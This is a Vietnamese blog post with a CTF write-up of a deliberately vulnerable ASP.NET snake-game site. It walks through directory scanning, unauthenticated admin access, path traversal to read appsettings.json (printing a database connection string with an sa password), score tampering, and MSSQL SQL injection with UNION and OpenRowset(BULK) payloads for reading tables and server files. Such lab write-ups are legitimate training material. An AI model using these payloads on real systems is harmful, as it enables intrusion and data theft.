Giật lì xì ‘rắn thần tài’ cực hay - CTF writeup

Xin chào độc giả của blog manhnv.com, tính từ lần cuối mình post bài lên blog 19/05/2022 đến nay cũng đã là 1000 ngày.

Để kỷ niệm 1000 ngày chưa post bài, nhân dịp giật được lì xì đầu năm của anh Mạnh Luật và anh Luật có gửi lời comeback viết writeup nên hôm nay mình quyết định dành chút thời gian viết lại writeup bài CTF do Cyberjutsu dựng có tên là: Rắn Thần Tài

wait a minute! Hãy like và subscribe vì nó miễn phí
Đề bài

Đề bài là 1 website cùng một số mô tả về flag như trên hình.
Đặc biệt flag này có “vô số Easter Egg, ai tìm đủ Easter Egg sẽ có được mã lì xì Momo!” → Đây là lý do chính mình chơi bài CTF này :))) hehe :))) hehe :)))
(Vì là bài này viết cho các bạn chưa biết gì cũng học hỏi được, nên mình viết kỹ và chi tiết xíu nhé!!!)
Recon
Chuẩn bị
Chúng ta setup Burpsuite thì về cơ bản chắc các bạn biết rồi, trên hình chỉ là mình thêm target scope vào Burpsuite để xíu nữa filter nhìn đống HTTP history cho đỡ rối (bài nhập môn pentest nên là cái này mình không nói lại nữa nhé)

Truy cập vào link web để xem thử mặt mũi nó ra làm sao, thì nhận được 1 trang web như sau

Tuy trang đầu thôi, nhưng chúng ta cũng có 1 số thông tin có thể thu thập vào lưu ý:
Web được dựng từ ASP.NET
Có link tới chức năng chơi game (
Link này được thêm vào sau này, khi mình làm bài này thì link này đang để ẩn phải fuzz mới ra, nên mình cứ làm theo thứ tự như mình là nhé và coi như chưa biết link game)
Công việc đặt ra bây giờ là đi do thám và và khám phá xem web này là web gì? hoạt động ra làm sao?…
Directory scanning
Web hiển thị ra chỉ là mấy dòng chữ mình không thể biết được liệu đằng sau nó có chức năng gì khác không, nên mình sử dụng kỹ thuật gọi là directory scanning để tìm kiếm các đường dẫn ẩn, công cụ mình sử dụng có tên là: Gobuster
(Lưu ý: Để tránh bài viết quá dài mình sẽ không hướng dẫn lại các sử dụng nữa mà các bạn phải tự vào document của công cụ để đọc, mình chỉ đưa câu lệnh mình đã sử dụng vào bài thôi)
gobuster dir -u http://206.189.39.54:8085 -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -x asp,aspx,conf,config,txt,html,htm -t 50

Sau khi chạy xong mình đã thu thập được 1 số URL, và mình sẽ tiến hành truy cập vào từng URL đó để xem nó là gì.
/Home
/game
/robots.txt
Tiếp tục thử scan dir thêm 1 lần nữa với /game
gobuster dir -u <http://206.189.39.54:8085/game> -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -x asp,aspx,conf,config,txt,html,htm -t 50

Qua bước này thu thập được thêm các URL
/game/Index
/game/feedback
Web discovery
robots.txt

Sau khi truy cập vào robots.txt thu thập được thêm URL
/Game -> Đã thu thập
/appsettings.json
/Admin
/Areas
/bin
/Controllers
/Models
Dùng browser truy cập hết các đường dẫn và quan sát Burpsuite
/Admin

⇒ Response ở burpsuite → Thu được CBJS_EASTER_EGG

CBJS_EASTER_EGG{Part 2: /lixi/9o3}
Sau bước này thì mình thu thập được thêm thông tin: Server: Kestrel
Các đường dẫn khác như /appsettings.json; /Areas; /bin; /Controllers; /Models ⇒ Khi truy cập vào đều trả về 404 not found ⇒ Tạm thời để đó đã nhé
Tiếp tục tìm hiểu /game

Tôi thử bấm bắt đầu và quan sát khi rắn chạm tường thì được thông báo như vậy

Tiếp tục truy cập thử với đường dẫn /Game/Feedback

⇒ Thử submit form, nhưng khi xem trong request burpsuite thì lại không nhận được request nào, nên tôi thử đọc html,js của nó xem

⇒ Trong html có thẻ img base64 ⇒ nhưng lại không được render ?
Thử decode base64

CBJS_EASTER_EGG{Part 3: XA5V}
Ngoài ra, tìm được thêm /Feedback/Submit Nhưng khi cố gắng thử truy cập hay gửi request đến url này thì đường như không thể, mặc dù đã thử mọi url có thể như vẫn 404 not found
/game/Feedback/Submit/Admin/Feedback/Submit…

⇒ Có thể chức năng này đã thực sự bị lập trình viên xóa bỏ
Phân tích request burpsuite
Đến đây, chúng ta đã dạo qua một vòng web bằng browser, bây giờ là lúc tôi thử ngó qua HTTP history của Burpsuite xem như thế nào.
Mở HTTP history của Burpsuite tôi nhận được 1 loạt request như vậy, bây giờ sẽ đi xem từng cái một nè.

Tôi lấy được CBJS_EASTER_EGG part 1 khi xem response của /

Và thu thập thêm các URLs
/Admin/EditBackground
/backgrounds/1.png

Tiếp tực mở browser thử truy cập vào URL /backgrounds/<int>.png

⇒ Tôi nhận thấy đây chính là background lúc chơi game, vì quay lại /game tôi có thể thấy background của nó chính là 1.png
Thử truy cập tiếp /Admin/EditBackground

Ở đường dẫn này mình thu về được 2 thông tin cũng có thể gọi là quý
Lấy được Flag 4:
CBJS{Unauth_On___________Đã ẩn thông tin_____________________Ofection}Có một form edit background → Nhìn vào form thì chúng ta đoán ra được param
Method: post
URL: /Admin/EditBackground
Body: selectedBackground → Giá trị của nó truyền vào có thể là: 1.png, 2.png, 3.png
Bây giờ thử và bắn luôn một cú request nhé:
Trước tiên, Chuyển request /Admin/EditBackground sang repeater → chuyển đổi method sang POST → Thêm boby selectedBackground=2.png

⇒ Sau khi thử gửi request thành công nhận về code 200 và nội dung trả về có preview content, đoán đoán đâu đó là nội dung của ảnh mà mình vừa cập nhật thành công.
Thử tiếp chức năng Show response in browser của browser sẽ thấy như hình phải bên dưới.

Quay về page /game và thấy background đã đổi

Đến đoạn này mình dừng lại 1 nhịp để phẩn tích xem: Vậy selectedBackground nhận vào tên file → Thay đổi background và hiển thị nội dung preview content
⇒ Có thể đặt ra câu hỏi liệu chỗ này có thể là lỗ hổng Path traversal để đọc file tùy ý không?
Trong đề bài cho mình biết chắc chắn có 1 file tồn tại trong server rồi là: /tmp/FLAG_WEB tôi thử sửa và gửi request

Nhận được Flag 1: CBJS{Ha_________Đã ẩn thông tin________________ke}
Đến đoạn này chúng ta đã xác định được có thể đọc được file tùy ý thông qua lỗ hổng Path traversal ở chức năng này.
Xem tiếp HTTP request history /game và thu thập thêm được đường dẫn /api/ranking có sortParam ⇒ Giá trị của nó có thể lấy từ URL hoặc Score

API lấy danh sách ranking, sort by 1 cột nào đó, cụ thể ở đây là score

Truy cập nhưng không có param thử xem

Mình đã nghĩ đến SQL injection, mình thử bằng tay một số ký tự đặc biệt để xem server có phản ứng dụng không, nhưng không thể confirm được nên mình thử vứt vào ghauri thử.
(Phần này các bạn chắc chắn hỏi vì sao tôi dùng --dbms mssql thực ra cũng là 1 phần kinh nghiệm là asp.net nó hay đi kèm MSSQL giống như PHP hay đi kèm MySQL. Lúc làm mình test thử hết =)) nhưng do lúc chụp ảnh mình chụp phải cái sử dụng --dbms mssql / Fact nữa: khi recon nữa thì ae có thể recon ra được ứng dụng này sử dụng MSSQL nhé)
ghauri -u http://206.189.39.54:8085/api/ranking?sortParam=score --dbms mssql

⇒ Ghauri cũng không ra, nên tạm thời note lại và đi recon tiếp, sau này có bí quá thì quay lại thử cách khác tiếp.
Cứ mỗi lần tìm ra được 1 đường dẫn mới thì mình sẽ thử chạy lại gobuster 1 lần để thử xem còn thư mục nào nhỏ hơn bên trong không? ở đây với /api/ranking cũng vậy.
gobuster dir -e -u http://206.189.39.54:8085/api/ranking -w ~/Tools/SecLists/Discovery/Web-Conte
nt/common.txt -t 50

Sau khi chạy với gobuster lại phát hiện ra được một đường dẫn mới. http://206.189.39.54:8085/api/ranking/Search

Khi truy cập vào thì lập tức bị báo thiếu param: The searchTerm field is required. Tôi thử thêm param searchTerm với giá trị là a và truy cập lại thì cho ra kết quả.

Nhìn qua kết quả trả về có thể hình dung đây là 1 chức năng search, nhận vào keyword lấy từ param searchTerm và tìm kiếm ở cột PlayerName trong database nếu có chưa keyword đó thì hiển thị ra.
Ngay tại đây, tôi có thể nghĩ ngay đến mình phải kiểm tra ngay lỗ hổng SQL injection, tôi hình dung ra câu lệnh SQL mà server xử lý như sau:
SELECT id,playerName,score FROM [Ranking table] WHERE playerName like '%[searchTerm]%';
# [Ranking table]: Là tên bảng, nhưng vì tôi không xác định được tên bảng là gì nên đặt 1 placeholder → mục đích là để hình dung ra câu lệnh sql
# [searchTerm]: Cũng là placeholder đại diên cho giá trị lấy từ param do người dùng chuyển lên
Tiếp theo, tôi thử phản ứng của server đối với các ký tự đặc biệt, tôi đã thử ' và nhận thấy server lập tức trả về 500.

Hình ảnh về SQL injection đang dần hình thành trong đầu tôi, vì khi truyền ' lên khiến câu lệnh truy vấn SQL của server gặp lỗi syntax nên sẽ trả về 500 → Trong đầu tôi nghĩ và hình dung như vậy.
Tôi thử injection đoạn như sau.
' OR 1=1;--+
Nếu giả suy nghĩ tôi đúng, thì câu lệnh SQL của server sẽ biến thành
SELECT id,playerName,score FROM [Ranking table] WHERE playerName like '%' OR 1=1;--+%';
Tôi đệm thêm MMMMMMMMMMM vào searchTerm để mục đích là khiến cho điều kiện playerName like ... sẽ luôn sai, như thế tôi sẽ xác định được phần injection của mình có hoạt động đúng hay không.
⇒ Phần injection sẽ là:%MMMMMMMMMMM' OR 1=1;--+, hình dung câu lệnh SQL sau khi bị injection sẽ trở thành
SELECT id,playerName,score FROM [Ranking table] WHERE playerName like '%MMMMMMMMMMM' OR 1=1;--+%';
Giải thích chỗ này một chút: đó là nếu tôi tìm kiếm với MMMMMMMMMMM thì do trong database không có bản ghi nào chứa MMMMMMMMMMM nên server sẽ không trả về gì cả, mà chỉ trả về 1 mảng rỗng như bên dưới.


Server trả về 200 kèm nội dung là mảng rỗng, mình suy nghĩ theo hướng: vì nó ko tìm ra bản ghi nào chứa MMMMMMMMMMM cả nên là nó trả về data rỗng khi này điều kiện playerName like '%MMMMMMMMMMM%' trong câu lệnh SQL của server sẽ là điều kiện sai ⇒ Bây giờ chúng ta thêm OR 1=1 vào mà trả về data, thì có thể khẳng định 99,99% là lỗ hổng SQL injection.
Tôi thực hiện truy cập vào đường dẫn đã injection payload SQL, và nhận được dữ liệu trả về

Kết luận theo suy nghĩ của tôi: Chức năng này tồn tại SQL injection.
Chúng ta tạm note lại chưa vội khai thác vì còn các đường dẫn khác cần phải khám phá.
Với đường dẫn /Game/SubmitScore

Tôi đoán, khi rắn của người chơi đụng đầu vào tường client sẽ dùng URL gửi điểm người chơi đạt được lên server → Có thể nghĩ đến chuyện thay đổi điểm gửi lên server thì sao?
Tôi liền thử thay đổi điểm và gửi lại request

Cú request thành công và tôi nhận về được CBJS_EASTER_EGG part 5.
CBJS_EASTER_EGG{Part 5 (final): 1R5b}
Tạm tổng kết hành trình recon và discovery
Tôi thu được một số flag:
# EASTER eGG
CBJS_EASTER_EGG{Part 1: <https://lixi.momo.vn/>}
CBJS_EASTER_EGG{Part 2: /lixi/9o3}
CBJS_EASTER_EGG{Part 3: XA5V}
CBJS_EASTER_EGG{Part 5 (final): 1R5b}
# Flags
Flag 01: CBJS{Ha_________Đã ẩn thông tin________________ake}
Flag 04: CBJS{Unauthorized__________Đã ẩn thông tin_________________Redirection}
⇒ Vậy, tôi còn thiếu EASTER EGG part 4 và 2 flag 02,03
Tôi đã note lại được 1 số chức năng có lỗ hổng mà cần lưu ý
/Game/SubmitScore→ Edit score tùy ý và đã có thể sửa đổi được điểm gửi lên server/api/ranking/Search?searchTerm=→ Lỗ hổng SQL injection/Admin/EditBackground→ Lỗ hổng Unauthorized access và Path traversal
Vậy tôi sẽ đi khai thác từng lỗ hổng để đạt đủ các flag và easter egg
Exploit
Unauthorized access + Path traversal
Như trên phần trước tôi đã biết được rằng mình có thể sử dụng được chức năng thay đổi background của Admin mà không cần quyền gì đặc biệt và chức năng này có lỗ hổng Path traversal.
POST /Admin/EditBackground HTTP/1.1
Host: 206.189.39.54:8085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: <http://206.189.39.54:8085>
Connection: keep-alive
Referer: <http://206.189.39.54:8085/Admin/EditBackground>
Upgrade-Insecure-Requests: 1
Priority: u=0, i
selectedBackground=<PATH TRAVERSAL>
Như chúng ta đã biết ứng dụng được lập trình từ asp.net và server là Kestrel, chúng ta có thể hỏi chatgpt 1 số câu hỏi như trong link share này: https://chatgpt.com/share/67a6e798-6bec-8006-9a80-7f878d3380d2

Hãy nhớ đến nội dung file robots.txt
Disallow: /Game
Disallow: /appsettings.json
Disallow: /Admin
Disallow: /Areas
Disallow: /bin
Disallow: /Controllers
Disallow: /Models
Xem mô tả do chatgpt trả về để hình dung được cách tổ chức cấu trúc của dự án này, như vậy liệu chúng ta có thể đọc file appsettings.json để xem có thông tin gì không?
Theo như chatgpt trả lời, Tôi biết rằng có tồn tại appsettings.json ở root folder, nên sử dụng cách thủ công nhất là lần mò từng bước để xác định vị trí đứng, cũng như là đọc được appsettings.json
Tôi thử đã thử từng đường dẫn như sau:
appsettings.json
../appsettings.json
../../appsettings.json -> ok

Như vậy, tôi đứng từ chức năng EditBackground đi ra 2 cấp mới có thể đến root folder: ../.. , thu được Easter egg 04: CBJS_EASTER_EGG{Part 4: VMNp}
Chuyển qua tab render để đọc được văn bản rõ hơn

Tôi đọc rõ hơn và nhận thấy thêm connection string vào database của ứng dụng có chứa credential.
Server=mssql;Database=MyAppDB;User Id=sa;Password=YourStrong!Passw0rd;MultipleActiveResultSets=true;TrustServerCertificate=True;
⇒ Database sử dụng MSSQL, tên database là: MyAppDB
Hoàn thiện đủ bộ Easter egg, giờ ghép lại và nhận lì xì thôi.
CBJS_EASTER_EGG{Part 1: <https://lixi.momo.vn/>}
CBJS_EASTER_EGG{Part 2: /lixi/9o3}
CBJS_EASTER_EGG{Part 4: VMNp}
CBJS_EASTER_EGG{Part 3: XA5V}
CBJS_EASTER_EGG{Part 5 (final): 1R5b}
=> <https://lixi.momo.vn/lixi/9o3VMNpXA5V1R5b>
Khi truy cập vào đường dẫn thì nhận được thử thách ghép chữ =)) chấm hỏi? Anh Luật biết chơi thật tiền đến tay rồi không cho lấy mà phải ghép chữ tiếp.

Nhưng không sao, tôi thông mình nên sau 1 hồi ghép ghép tôi cũng đoán ra được dây là chữ: HAPPY HACKING

Nhận tiền lì xì thôiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
Cảm ơn các bạn đã đọc blog, tôi nhận được tiền rồi nên nghỉ thôi, không làm nữa đâu nhé.
Hẹn gặp lại các bạn ở 1000 ngày tiếp theo.
Đùa thôi!
Vì tôi còn tận 2 flag nữa chưa tìm ra, nên với tính tò mò của tôi thì khó mà dừng lại ở đây lắm =))
Nên là, vẫn tiếp tục nhé.
SQL injection
Quay trở lại tiếp tục khai thác nốt lỗ hổng SQL injection, như phần trên tôi đã injection và câu lệnh injection đã hoạt động.
http://206.189.39.54:8085/api/ranking/Search?searchTerm=MMMMMMMMMMM%27%20OR%201=1;--+
Tôi có thể nghĩ ngay đển UNION based
Trước tiên, chúng ta cần xác định đúng vị trí dữ liệu khi trả về mà chúng ta có thể đọc bằng payload:
' UNION SELECT 0,'DATA LEAKED',0;--+

Fact: Có nhiều bạn sẽ hỏi, tại sao mình lại biết mà viết payload này, thì mình dựa vào các thông tin mình có được như sau:
Cú pháp lệnh MSSQL để mình biết ngắt lệnh,comment lệnh thừa, …
Dựa và dữ liệu trả về trước đó → Tôi thấy dữ liệu trả về 1 object có 3 phần tử (3 cột trong database): ID, playerName,score → ID,score thì có thể đoán luôn là integer, playerName là string

⇒ Nên tôi phải viết union select làm sao mà data của tôi trả về đúng 3 cột, 2 cột đầu và cuối là integer và cột giữa là String là được SELECT 0,'DATA LEAKED',0
Giờ đã biết vị trí chúng ta có thể đọc data rồi, bây giờ phải tìm tên bảng, còn tên database đã tìm thấy ở phần trước là: MyAppDB
http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,name,0%20FROM%20sysobjects%20WHERE%20xtype%20=%20%27U%27--

\= thu được tên bảng: CyberJutsu
Tiếp theo là xem bảng có những cột nào
http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,name,0%20FROM%20syscolumns%20WHERE%20id%20=%20(SELECT%20id%20FROM%20sysobjects%20WHERE%20name%20=%20%27CyberJutsu%27);--

⇒ Như vậy, bảng CyberJutsu có một cột là flag
Bây giờ thì lấy flag thôi nào.
http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20SELECT%200,flag,0%20FROM%20CyberJutsu--

Như vậy, tôi đã thu thêm được Flag 03: CBJS{S_________Đã ẩn thông tin________________utsu}
Nhiệm vụ vẫn còn, tiếp tục tìm flag 02 nữa để kết thúc bài nhé.
Như đề bài có nói Flag 02 ở trong /tmp/FLAG_DBSERVER
Vậy tôi nghĩ đến việc lợi dụng SQL injection để đọc file flag.
Đến đây sẽ có bạn: ủa sao không đọc luôn flag02 bằng path traversal ở phần trước ⇒ Nhưng chuyện đâu đơn giản vậy, vì có thể file /tmp/FLAG_DBSERVER đã được phân quyền mà user truy cập thông qua ứng dụng không thể đọc được mà chỉ có user truy cập thông qua database mới đọc được. Hoặc là database nằm trên 1 server (1 container) khác so với ứng dụng web thì cũng không đọc được bằng path traversal.
http://206.189.39.54:8085/api/ranking/Search?searchTerm=%27%20UNION%20select%200,(select%20x%20from%20OpenRowset(BULK%20%27/tmp/FLAG_DBSERVER%27,SINGLE_CLOB)%20R(x)>),0;--

Tiếp tục có được Flag 02 heng!!!! xong rồi heng!!!!: CBJS{Have_________Đã ẩn thông tin________________nux?}
Kết bài
Thông tin vẫn ở đó, quan trọng là bạn có tìm thấy không thôi.
Cảm ơn CyberJutsu đã tạo ra bài CTF theo đánh giá của tôi thì khá là hay vì có lì xì.
Cảm ơn các bạn đã đọc bài của mình sau 1000 ngày chờ đợi.
Mình sẽ cố chăm chỉ viết bài hơn, có thể không cần tới 1000 ngày mà 500 ngày gì đó là có bài rồi.



